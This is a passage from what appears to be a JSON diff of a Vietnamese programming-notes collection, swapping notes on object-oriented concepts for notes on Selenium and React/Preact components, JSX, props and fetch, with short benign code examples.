"[[Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia]]\r\n[[CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ]]\r\nNguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VO" + "id": "Z6" }, { - "Tiêu đề": "Phương thức cho ta biết mình có thể làm gì với vật thể đó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Phương thức cho ta biết mình có thể làm gì với vật thể đó", + "Tiêu đề": "Selenium bao gồm IDE, Remote Control, WebDriver và Grid. Selenium 1 thực ra là Remote Control. Selenium 2 thực ra là Remote Control có thêm WebDriver", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/Selenium/Selenium bao gồm IDE, Remote Control, WebDriver và Grid. Selenium 1 thực ra là Remote Control. Selenium 2 thực ra là Remote Control có thêm WebDriver", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nó không phải là vật có thể có những hành vi nào, mà là ta có thể làm gì với nó\r\nNguồn:: [epistemology - Is there any philosophical theory behind the concept of object in computer science? - Philosophy Stack Exchange](https://philosophy.stackexchange.com/questions/99660/is-there-any-philosophical-theory-behind-the-concept-of-object-in-computer-scien/99710?noredirect=1#comment294491_99710)\r\n\r\n[[Phương thức là một thuộc tính của vật thể]], [[Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng]]", + "Toàn bộ nội dung": "[[Remote Control được sinh ra để giải quyết vấn đề Same-Origin Policy]] \r\n\r\n- Selenium IDE được phân phối dưới dạng plug-in của Firefox và khá dễ dàng để cài đặt và sử dụng. Người dùng không bắt buộc phải có kiến thức lập trình. Selenium IDE là một tool lý tưởng cho người dùng naive.\r\n- Selenium RC là một server cho phép một người dùng tạo ra kịch bản test với ngôn ngữ lập trình mong muốn. Tool cũng cho phép thực hiện các kịch bản test trong phạm vi rộng của các trình duyệt.\r\n- Selenium Grid đưa ra tính năng bổ sung vào Selenium RC bằng cách phân phối các kịch bản trên nhiều nền tảng và trình duyệt để thực hiện cùng một lúc, do đó thực hiện theo kiến trúc master-slave.\r\n- WebDriver là một tool khác hoàn toàn, có nhiều ưu điểm hơn Selenium RC. Sự kết hợp của Selenium RC và WebDriver được biết đến với cái tên Selenium 2. WebDriver tương tác trực tiếp với trình duyệt web và sử dụng khả năng tương thích gốc để tự động hóa.\r\n- Selenium 3 là sản phẩm được dự đoán nhiều nhất trong bộ Selenium nhưng chưa được đưa ra thị trường. Selenium 3 được khuyến khích dùng trong kiểm thử mobile.\r\n\r\nNguồn:: [[Viblo]], [Selenium Tutorials - 31+ Bài hướng dẫn học Selenium](https://viblo.asia/p/selenium-tutorials-31-bai-huong-dan-hoc-selenium-eW65Gx8PKDO)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VP" + "id": "Z7" }, { - "Tiêu đề": "Phương thức là một thuộc tính của vật thể", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Phương thức là một thuộc tính của vật thể", + "Tiêu đề": "Component hàm không có trạng thái (stateless). Component lớp có trạng thái (stateful)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Component hàm không có trạng thái (stateless). Component lớp có trạng thái (stateful)", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```js\r\nconst obj = {\r\n foo() {\r\n return 'bar';\r\n },\r\n};\r\n\r\nconsole.log(obj.foo());\r\n\t// Expected output: \"bar\"\r\n```\r\nCách viết khác:\r\n```js\r\nconst obj = {\r\n foo: function () {\r\n // …\r\n },\r\n bar: function () {\r\n // …\r\n },\r\n};\r\n\r\n```\r\n[Method - MDN Web Docs Glossary: Definitions of Web-related terms | MDN](https://developer.mozilla.org/en-US/docs/Glossary/Method)\r\nNguồn:: [Method definitions - JavaScript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions)", + "Toàn bộ nội dung": "Component hàm chỉ hữu ích khi dùng hook\r\nNguồn:: ![#13 Stateless/StateFull Components | React Cơ Bản Cho Beginners Từ A đến Z](https://youtu.be/geRMeU1JExk?si=WrqoU8GRdyT7po1S)\r\n\r\nComponent lớp hữu ích khi cần quan tâm đến vòng đời của component\r\nNguồn:: [Components | Preact: Fast 3kb React alternative with the same ES6 API. Components & Virtual DOM.](https://preactjs.com/tutorial/03-components/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VQ" + "id": "Z8" }, { - "Tiêu đề": "Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng", + "Tiêu đề": "Component là những hàm hoặc lớp trả về một khối JSX", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Component là những hàm hoặc lớp trả về một khối JSX", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hàm giúp ta làm một công việc nào đó. Công việc đó có thể liên quan tới một vật thể hoặc không. Còn phương thức chắc chắn phải làm những công việc liên quan tới một vật thể cụ thể. [[Phương thức cho ta biết mình có thể làm gì với vật thể đó]]. \r\n\r\nVí dụ, bạn có một rổ trái cây:\r\n![|300](https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/A_basket_of_fruits.jpg/600px-A_basket_of_fruits.jpg)\r\n\r\nBạn muốn cân khối lượng từng quả, nên bạn viết một **phương thức** `cân_nặng()` giúp bạn cân chúng:\r\n\r\n```python\r\ntáo.cân_nặng() # Kết quả: 30g\r\nchuối.cân_nặng() # Kết quả: 40g\r\nlê.cân_nặng() # Kết quả: 50g\r\n```\r\n\r\nBạn thấy, dù phương thức `cân_nặng()` không thay đổi, nhưng đối với mỗi một loại trái cây khác nhau sẽ cho một kết quả khác nhau. Phương thức này phải gắn lên một đối tượng cụ thể nào đó để có tác dụng. Bạn phải không thể cân không gì cả được. \r\n\r\nTrong khi đó, nếu bạn muốn biết ngày hôm nay là ngày gì, bạn chỉ cần dùng **hàm** `xem_ngày()`:\r\n\r\n```python\r\nxem_ngày() # Kết quả: \"ngày 32 tháng 13 năm 12023\" \r\n```\r\n\r\nBạn thấy là công việc `xem_ngày()` này không phụ thuộc vào vật thể nào. Dù bạn quyết định là sẽ ăn táo hay ăn lê thì kết quả cũng không thay đổi. Dù bạn không có vật thể nào bạn vẫn có thể xem ngày được. \r\n\r\n[[Phương thức là một thuộc tính của vật thể]] ", + "Toàn bộ nội dung": "Nguồn:: <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/uzYSCOwhzxw?si=YvWPMQJ0ydFFM1BR&start=535\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen></iframe>\r\n\r\n![](https://obedparla.com/static/cf7892f6a3db2815d6c502fe74538e4a/1f85e/box-inside-box.webp)\r\n\r\n\r\nNguồn:: [Mental model trong React | TopDev](https://topdev.vn/blog/mental-model-trong-react/)\r\n[[JSX là cách để viết JS như thể viết HTML]]\r\n[[Component hàm không có trạng thái (stateless). Component lớp có trạng thái (stateful)]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VR" + "id": "Z9" }, { - "Tiêu đề": "this, self là cách để nói rằng hành động mà phương thức sẽ làm sẽ phải gắn lên một vật thể cụ thể của lớp, thứ mà bây giờ chưa được tạo ra", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/this, self là cách để nói rằng hành động mà phương thức sẽ làm sẽ phải gắn lên một vật thể cụ thể của lớp, thứ mà bây giờ chưa được tạo ra", + "Tiêu đề": "Dùng fetch dạng promise chứ đừng await trong component", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Dùng fetch dạng promise chứ đừng await trong component", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng]]\r\n[[Lớp là một cái khuôn để tạo các vật thể cho nhanh]]\r\n\r\n", + "Toàn bộ nội dung": "Lý do:: [[Không có async component vì hiệu suất quá tệ]]\n\n[[Promise được sinh ra là để không phải dùng if lồng quá nhiều]]\n```js\nfetch('https://jsonplaceholder.typicode.com/postses').then(function (response) {\n\t// The API call was successful\n\t// (wait, it was?)\n\tconsole.log(response.status);\n\treturn response.json();\n}).then(function (data) {\n\t// This is the JSON from our response\n\tconsole.log(data);\n}).catch(function (error) {\n\t// There was an error\n\tconsole.warn(error);\n});\n```\nTham khảo:: [The JavaScript fetch() method | Go Make Things](https://gomakethings.com/the-javascript-fetch-method/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VS" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-30T05:47:00.000Z", + "id": "ZA" }, { - "Tiêu đề": "Để tránh phụ thuộc lòng vòng (circular dependency) có thể dùng hàm", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Để tránh phụ thuộc lòng vòng (circular dependency) có thể dùng hàm", + "Tiêu đề": "JSX là cách để viết JS như thể viết HTML", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/JSX là cách để viết JS như thể viết HTML", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "`a.js` (entry module):\r\n\r\n```javascript\r\nimport { b } from \"./b.js\";\r\n\r\nexport const a = 2;\r\n```\r\n\r\n`b.js`:\r\n\r\n```javascript\r\nimport { a } from \"./a.js\";\r\n\r\nconsole.log(a); // ReferenceError: Cannot access 'a' before initialization\r\nexport const b = 1;\r\n```\r\n\r\n# Cách 1\r\n```javascript\r\nfunction a_js() {\r\n var b = b_js(); // unnecessary line\r\n return 2;\r\n}\r\n\r\nfunction b_js() {\r\n var a = a_js();\r\n console.log(a);\r\n return 1;\r\n}\r\n```\r\n# Cách 2\r\n`a.js`:\r\n```javascript\r\nimport { logA, b } from \"./b.js\";\r\n\r\nexport const a = 2;\r\n\r\nlogA();\r\nconsole.log(b);\r\n```\r\n\r\n`b.js`:\r\n```javascript\r\nimport { a } from \"./a.js\";\r\n\r\nexport const b = 1;\r\n\r\nexport function logA() {\r\n console.log(a);\r\n}\r\n```\r\n\r\nNguồn:: [Does importing a module mean embedding the code of the module at the line of the import statement?](https://stackoverflow.com/q/76928950/3416774)\r\n\r\n[[Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn]]\r\n[[Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import]]", + "Toàn bộ nội dung": "```jsx\r\nconst element = <h1>Hello, world!</h1>;\r\n```\r\nNguồn:: [Tổng quan về JSX](https://viblo.asia/p/tong-quan-ve-jsx-Qbq5QqBL5D8)\r\n\r\nĐiều này tương tự như việc [[await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-24T05:38:00.000Z", - "id": "VT" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "ZB" }, { - "Tiêu đề": "API là giao diện của một chương trình", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/API là giao diện của một chương trình", + "Tiêu đề": "key là một thuộc tính đặc biệt của vật thể props để việc render được hiệu quả hơn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/key là một thuộc tính đặc biệt của vật thể props để việc render được hiệu quả hơn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]\r\n[[Cloud, webhook, API]]", + "Toàn bộ nội dung": "In Preact, I want to display an object:\r\n\r\n```javascript\r\nexport default function Component() {\r\n const obj = { a: 'a', b: 'b'} \r\n const elements = [];\r\n for (const [key, value] of Object.entries(obj)) {\r\n elements.push(<>{key}: {value}<br></br></>)\r\n }\r\n return (\r\n <article>\r\n {elements}\r\n </article>\r\n );\r\n}\r\n```\r\n\r\nThis returns fine:\r\n\r\n```\r\na: a\r\nb: b\r\n```\r\n\r\nHowever, if I extract the element into a separate JSX element like this:\r\n\r\n```javascript\r\nfunction Element({ key, value }) {\r\n return (<>{key}: {value}<br></br></>);\r\n}\r\nexport default function Component() {\r\n const obj = { a: 'a', b: 'b'} \r\n const elements = [];\r\n for (const [key, value] of Object.entries(obj)) {\r\n // elements.push(<>{key}: {value}<br></br></>)\r\n elements.push(<Element key={key} value={value} />)\r\n }\r\n return (\r\n <article>\r\n {elements}\r\n </article>\r\n );\r\n}\r\n```\r\n\r\nThen the keys all become undefined:\r\n\r\n```\r\n: a\r\n: b\r\n```\r\n\r\nIt is because `key` is a special prop in (p)react, used by the framework as a hint for how to rearrange elements safely and efficiently. You'll need to use another prop.\r\n\r\nTake the following example as a result from a component rendering.\r\n\r\n| First Render | Second Render |\r\n| ------------------------------------------------------------------------------ | ---------------------------------------------------------------- |\r\n| ```<br><article> <div>a</div> <div>b</div> <div>c</div></article><br>``` | ```<br><article> <div>a</div> <div>c</div></article><br>``` |\r\n\r\nThe problem here is that it's unclear what has been done:\r\n\r\n- a) has the second item been removed, or\r\n- b) has the third item been removed, and the text of the second item changed?\r\n\r\n(p)react could only guess, which is why we use keys.\r\n\r\n| First Render | Second Render |\r\n| ------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------- |\r\n| ```<br><article> <div key=\"a\">a</div> <div key=\"b\">b</div> <div key=\"c\">c</div></article><br>``` | ```<br><article> <div key=\"a\">a</div> <div key=\"c\">c</div></article><br>``` |\r\n\r\nWith keys, (p)react is able to correctly and quickly update the list, as it knows exactly what's happened (b was removed).\r\n\r\nPreact's tutorial has an entire section on keys, if you wanted to learn more: [https://preactjs.com/tutorial/08-keys](https://preactjs.com/tutorial/08-keys)\r\n\r\nNguồn:: [Why do object keys become undefined if they are accessed via an JSX element?](https://stackoverflow.com/a/78466472/3416774)\r\n\r\n[[Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VU" + "id": "ZC" }, { - "Tiêu đề": "Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì", + "Tiêu đề": "Phải viết JSX trong .jsx hoặc .tsx", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/Phải viết JSX trong .jsx hoặc .tsx", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Một cách đại khái, [interface](https://tuhocict.com/lesson/cai-tien-data-acceess-su-dung-interface/) là một giao kèo giữa bên sử dụng và bên thực thi class. Cụ thể hơn, [interface](https://tuhocict.com/giai-phap-winforms-3-interface-loose-coupling/) chứa các mô tả về phương thức và thuộc tính mà bên thực thi class phải xây dựng. Bên sử dụng thì không cần quan tâm đến cách thức xây dựng này.\r\n\r\nLấy một ví dụ khác. Giả sử đèn điện nhà bạn lắp toàn loại đui xoáy. Nếu bạn cần mua bóng đèn, có vô số loại khác nhau, từ đèn sợi đốt đến đèn huỳnh quang, từ hình vuông đến hình tròn. Nhưng chỉ cần nó là đui xoáy thì bạn đều có thể sử dụng được.\r\n\r\nKhi so ra, đui xoáy ở đây chính là một dạng interface, là “giao kèo” giữa người sử dụng bóng đèn và người sản xuất bóng đèn. Người sản xuất chỉ cần đảm bảo “đui xoáy” cho bóng mình làm ra. Người sử dụng thì không cần quan tâm đến cách thức làm ra bóng đèn, miễn sao có đui xoáy là được.\r\n\r\nInterface khi đó được bên sử dụng xem như một kiểu dữ liệu. Biến của kiểu dữ liệu này có thể tương thích với bất kỳ object nào tạo ra từ class thực thi giao diện tương ứng.\r\n\r\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\r\n\r\n[[Giao diện là cái khuôn của phương thức]]\r\n[[API là giao diện của một chương trình]] \r\n[[Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó]]", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VV" + "id": "ZD" }, { - "Tiêu đề": "Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import", + "Tiêu đề": "Props giúp việc thêm property cho DOM giống như thêm attribute cho HTML", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/Props giúp việc thêm property cho DOM giống như thêm attribute cho HTML", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "VD:\n\nNếu:\n- có một mảng được khai báo ở ngoài hàm `main()`, \n- trong hàm mảng đó được thêm thành phần, \n- có một vòng lặp nào đó **ở file khác** gọi `main()`\n\nthì hàm sẽ bị chồng dữ liệu với những dữ liệu ở lần gọi cũ\n[[Để tránh phụ thuộc lòng vòng (circular dependency) có thể dùng hàm]]\n[[Nên tách bạch file util cho client và util cho server]] ", + "Toàn bộ nội dung": "[[[JSX là cách để viết JS như thể viết HTML]]\r\n[[DOM property khác HTML attribute]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-17T11:30:00.000Z", - "Ngày cập nhật": "2024-08-24T05:38:00.000Z", - "id": "VW" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "ZE" }, { - "Tiêu đề": "Nên tách bạch file util cho client và util cho server", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/Nên tách bạch file util cho client và util cho server", + "Tiêu đề": "Props là viết tắt của property, nghĩa gốc là tài sản. Tài sản của cha mẹ thì con dùng được, nhưng tài sản của con thì cha mẹ không đụng được", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/Props là viết tắt của property, nghĩa gốc là tài sản. Tài sản của cha mẹ thì con dùng được, nhưng tài sản của con thì cha mẹ không đụng được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import]]\r\nLý do:: [[Những hàm của môi trường thực thi không chạy được trên trình duyệt]], [[Các hàm được môi trường thực thi cung cấp không hoạt động được ở island]] \r\n", + "Toàn bộ nội dung": "Nguồn:: [Mental model trong React | TopDev](https://topdev.vn/blog/mental-model-trong-react/)\r\n[[Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T05:38:00.000Z", - "id": "VX" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "ZF" }, { - "Tiêu đề": "Package và library là những cái tên khác nhau cho cùng một thứ", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/Package và library là những cái tên khác nhau cho cùng một thứ", + "Tiêu đề": "Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Mô đun (module): tập tin `.py`, `.js`, thường mang ý nghĩa cho cùng một chương trình\r\n- Thư viện (library), gói (package): thư mục chứa nhiều mô đun liên quan, thường mang ý nghĩa làm công cụ bổ sung, hỗ trợ cho các chương trình khác\r\n- Framework: cũng là thư viện, nhưng cung cấp cả một cách tư duy mới để viết chương trình\r\n\r\nNguồn:: ![CS50P - Lecture 4 - Libraries - YouTube](https://youtu.be/MztLZWibctI)\r\n", + "Toàn bộ nội dung": "![[Những hàm được export default và được viết hoa ký tự đầu tiên là component]]\r\n[[Props là viết tắt của property, nghĩa gốc là tài sản. Tài sản của cha mẹ thì con dùng được, nhưng tài sản của con thì cha mẹ không đụng được]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VY" + "id": "ZG" }, { - "Tiêu đề": "Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể", + "Tiêu đề": "Không có async component vì hiệu suất quá tệ", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Không có async component vì hiệu suất quá tệ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Is there any philosophical theory behind the concept of object in computer science?](https://philosophy.stackexchange.com/q/99660/19487)\r\n", + "Toàn bộ nội dung": "Async route components are not really components. They are route handlers which happen to return JSX and then the JSX gets rendered. You cannot pass them to other components and instantiate them as if they were components, because they're not\r\n\r\nYes, initially I wanted to support that in Fresh 2, but I've made a 180 on that. They seem exciting to use until you realise that they are super bad for performance because it ties data loading to rendering which forces waterfall like loading patterns.\r\n\r\nIt's pretty bad. It encourages the wrong pattern and prevents future optimizations. In doing so the rendering is always bottlenecked by not just the slowest data request, but the sum of all fast + slow requests combined. It essentially encourages the worst case scenario for performance.\r\n\r\nIt applies to any form of async component. Async routes in Fresh are fine because they are always at the top and you can control _how_ data is loaded. This leaves open the door for future optimizations like flushing the outer HTML shell already to the client whilst some data is still loading. As soon as you introduce proper async components performance suffers. Doesn't matter where in the tree like if it's a normal component, an island or something else. Picture this: Async component A renders another async component B. Now the request needs to wait first for A to render, and only then can render B after A has completed rendering. Data loading is always the slowest path in a server response, so you basically have to add the cost of A + B. Even if the data is completely independent and could've been loaded in parallel, you cannot do it in this model\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1233183397384294510)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VZ" + "id": "ZH" }, { - "Tiêu đề": "Dùng class khi ta có logic nghiệp vụ thực sự cần được implement để thực thi. Dùng interface để tạo ràng buộc kiểu cho biến", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Dùng class khi ta có logic nghiệp vụ thực sự cần được implement để thực thi. Dùng interface để tạo ràng buộc kiểu cho biến", + "Tiêu đề": "Những hàm được export default và được viết hoa ký tự đầu tiên là component", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Những hàm được export default và được viết hoa ký tự đầu tiên là component", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Viblo]], [Typescript: Class, Interface & chúng khác gì với class, interface trong C#, Java (!?)](https://viblo.asia/p/typescript-class-interface-chung-khac-gi-voi-class-interface-trong-c-java-YWOZryzrKQ0)\n[[Nếu dữ liệu không nhất thiết ở dạng vật thể thì type gọn hơn và linh hoạt hơn. Nếu đã xác định dữ liệu cần ở dạng vật thể thì interface sẽ thể hiện tốt ý tưởng của người viết hơn]]", + "Toàn bộ nội dung": "Ví dụ, trong `components/component.tsx`:\r\n```ts\r\nexport default function Component(props) {\r\n\treturn <span>Giá trị của thuộc tính 1 là {props.thuộcTính1}. Giá trị của thuộc tính 2 là {props.thuộcTính2}.</span>\r\n} \r\n```\r\n([[Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó]])\r\nTrong `routes/index.tsx`:\r\n```ts\r\nimport Component from '../components/component.tsx'\r\n\r\nexport default function Home() {\r\n\treturn <Component thuộcTính1 = 'hello' thuộcTính2 = 'world' />\r\n\r\n// 👉 Giá trị của thuộc tính 1 là hello. Giá trị của thuộc tính 2 là world.\r\n} \r\n```\r\nTa thấy trong `index.tsx` hàm `Component()` được dùng như thể đó là HTML.\r\n\r\nKhi viết `components/component.tsx` thường người ta sẽ [destructuring](https://viblo.asia/p/ban-ve-js-destructuring-Eb85omNBZ2G \"Bàn về JS - Destructuring\") luôn `props` để vừa thấy rõ ràng trong `props` đó sẽ có những thuộc tính nào, vừa để đỡ phải viết lại nhiều lần:\r\n```ts\r\nexport default function Component({thuộcTính1, thuộcTính2}) {\r\n\treturn <span>Giá trị của thuộc tính 1 là {thuộcTính1}. Giá trị của thuộc tính 2 là {thuộcTính2}.</span>\r\n} \r\n```\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-02T08:09:00.000Z", - "id": "Va" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "ZI" }, { - "Tiêu đề": "Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ 